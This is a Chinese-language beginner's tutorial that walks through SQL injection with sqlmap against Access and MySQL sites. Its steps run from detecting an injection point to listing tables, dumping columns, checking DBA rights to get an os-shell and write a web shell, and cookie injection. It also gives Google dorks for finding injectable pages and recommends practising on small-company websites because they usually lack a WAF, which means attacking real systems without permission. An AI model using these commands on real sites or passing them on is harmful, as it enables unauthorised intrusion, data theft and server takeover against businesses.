如果文章中有错误或是语言不妥
请给予斧正!万分感谢!
0x01(关于Accesss数据库)
想要注入就要找到一个注入点
检测注入点:
sqlmap -u "目标网址"
根据返回的信息可以得到
1->是否有防火墙或者狗之类的安全机制(在这里就不提如何绕过)
2->分为可以注入和不可以注入
可以注入:在结尾会显示目标网站的数据库信息
无法注入:就要尝试其他的方法
在这里我们用理想化的方式
这个注入点可以注入&&返回的是Access数据库
sqlmap -u “目标网址” --tables --tables 显示所有表名
我们要先暴力拆解所有的表名
只有得到我们想要的表,通过表猜解列明
注:在拆解表名时,会提示输入线程 (1-10)
得到表名
sqlmap -u “目标网站” --columns -T "表名" --columns 猜解列名
同样的,需要输入线程(1-10)
最后一步
sqlmap -u "目标网站" --dump -C "需要猜解的列名,需要猜解的列名" -T "表名"
0x02(关于MySQL数据库)
我们依旧理想化,没有防火墙,看门狗等安全机制。
sqlmap -u "目标网站" 进行注入点测试
理想化:
可以注入
这时我们可以先检测一下有没有dba权限 先检测dba权限
sqlmap -u "目标站点" --is-dba
什么是dba权限?通俗来讲,如果我们获取这个权限就可以直接写目(mu)录(ma)
如果存在dba权限,会显示true
接着,终端就会显示,让你选择网站的类型
类似于
1.asp
2.php
3.
4.
然后就填写数组回车
终端会显示
os-shell>
接下来你就可以进行对目录的操作
存在dba权限,也可以输入
sqlmap -u"目标网址” -os-shell
这样也可以
我们接着说正常的注入
sqlmap -u "目标网站" --dbs 我们先看看到底有多少个数据库
然后,拿着你的目标
sqlmap -u "目标站点" --tables-D "你目标数据库名字"
或者,我们可以直接找到自己所在数据库
sqlmap -u "目标站点" --current-db 找到自己所在的数据库
接着,猜解表名
sqlmap -u "目标站点" --tables-D "数据库名"
根据表名猜解列名
sqlmap -u "目标网站" --columns-T "表名" -D "数据库名"
猜解字段
sqlmap -u "目标站点" --dump-C "字段,字段" -T "表名" -D “数据库名”
0x03(Cookie注入(适合asp网站))
sqlmap -u "目标网址" --cookie “id=xx” --level 2(提升等级)
一定要注意,这里目标网址不是http:www.XXXX?id=xx,我们要去掉?id=XXX
例如:www.xxx.asp?id=100
我们怎么写呐?
www.xxx.asp
我们把?id=100放到哪里呐?
在后面,"id=100"就可以了
这样,我们就可以获得网站的数据库类型
根据类型来选择用0x01还是0x02
0x04 如何找到一些简单的网站进行注入
1->大家都是从新手走过来的,大多数新手都喜欢找一些简单网站进行注入
利用的谷歌关键字搜索
inur:asp?id=
inur:php?id=
我的意见是:找一些小型企业网站,一般不会有WAF之类的,可以进行练手。
2->当然,如果自己有能力,可以用虚拟机组建渗透测试环境